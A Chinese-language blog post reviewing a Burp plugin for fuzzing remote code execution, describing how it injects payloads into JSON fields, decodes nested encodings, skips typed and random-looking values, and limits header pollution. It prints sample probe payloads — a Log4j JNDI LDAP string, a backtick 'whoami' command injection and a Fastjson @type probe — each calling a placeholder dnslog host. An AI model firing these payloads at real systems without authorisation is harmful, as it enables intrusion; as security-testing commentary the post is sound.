从Quan的这篇文章 通过配置 Xia_SQL 来实现Fuzz，从而拿下RCE继续讨论。
在这篇文章中，我介绍了一个专门的插件来负责辅助挖掘RCE的，我们来看这个插件，这篇推文仅做该插件的相关特点介绍，具体的效果回来打算做篇文章
假设我们捕获了这样的流量：
POST /sys/customer/list HTTP/1.1
Host: www.baidu.com
Content-Length: 23
Content-Type: application/json;charset=UTF-8
{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}
那么如果配置了
${jndi:ldap://dnslog/log4j}
`whoami`.dnslog
{"@type":"java.net.Inet4Address","val":"dnslog"}
插件会做出如下操作
污染 key1 的值然后分别发包
污染 key2 的值然后分别发包
尝试自动解码 key2 ，并污染子 JSON 的 innerkey1 的值然后分别发包
污染 key3 的值然后分别发包。
污染 key3 的子 JSON 的 innerkey2 的值，然后分别发包。
尝试解析 innerkey2 ，并污染子JSON的 k3 的值然后分别发包
其中，非常值得注意的是：
1.对键值对做污染，但不会对全部的键值对做污染，例如id,isLogin。作者说：
因为大部分后端语言都会定义好参数类型，对于整数型、布尔型的参数没有太大污染的必要，徒增报错罢了，除此之外流量中常见 uuid 、hash 等常见格式的值也会跳过污染，进一步缩减流量。
同时作者除了上述的小操作外，还对这样的URI做了一些分析：
/order/S09834FVD
/order/S07C34FDCCVX
会发现，实际上这些都指向了同一个后端接口，没必要每个都测试一遍。
作者提到：
显然两条流量对应了同一后端，是重复的，没必要都扫，但他没有像 uuid 或 md5 一样的固定特征，正则没法解决，看到一些同行的解决方案是上大模型去识别，颇有种工作饱和了没事干的感觉，本质上是区分文本是否为随机的，即将文本分为是否随机两种类型，业界有非常多成熟的文本分类模型训练教程，现成的模型，不用 GPU 就可以快速解决问题。
我感觉说的很对，尤其是现在这种大模型当道的时代，似乎让我们忘记一些模型其实就能做到。
2.自动解码污染再编码
这个也是个非常出彩的功能，因为很多时候可能数据经过编码，这个对于像前文的Xia_SQL来做这件事就有点不太现实了，但专业的RCEFuzzer却能很好的做到这一点，正所谓术业有专攻。
3.header 污染
其实整个插件都围绕着减少数据包做限制，对于header也是，不会盲目的全部替换，例如：Host 、Connection 、Content-Type 这类 header
正如作者所说：像 Host 、Connection 、Content-Type 这类 header 应该跳过污染，避免对请求本身造成影响，一次性替换全部 header 的键值这种纯粹是为了 log4j 这种 payload 打过去省事，暴力出奇迹。
以上就是我初步阅读介绍文章所学习到的该插件的特点，后续会对该插件进行实际的体验和调教，观看效果，并挖掘该插件更多的用途（或许他也能发觉SQL注入？）一切都是我的猜想。
https://mp.weixin.qq.com/s/NYGBUWY820TDfnaHldxuow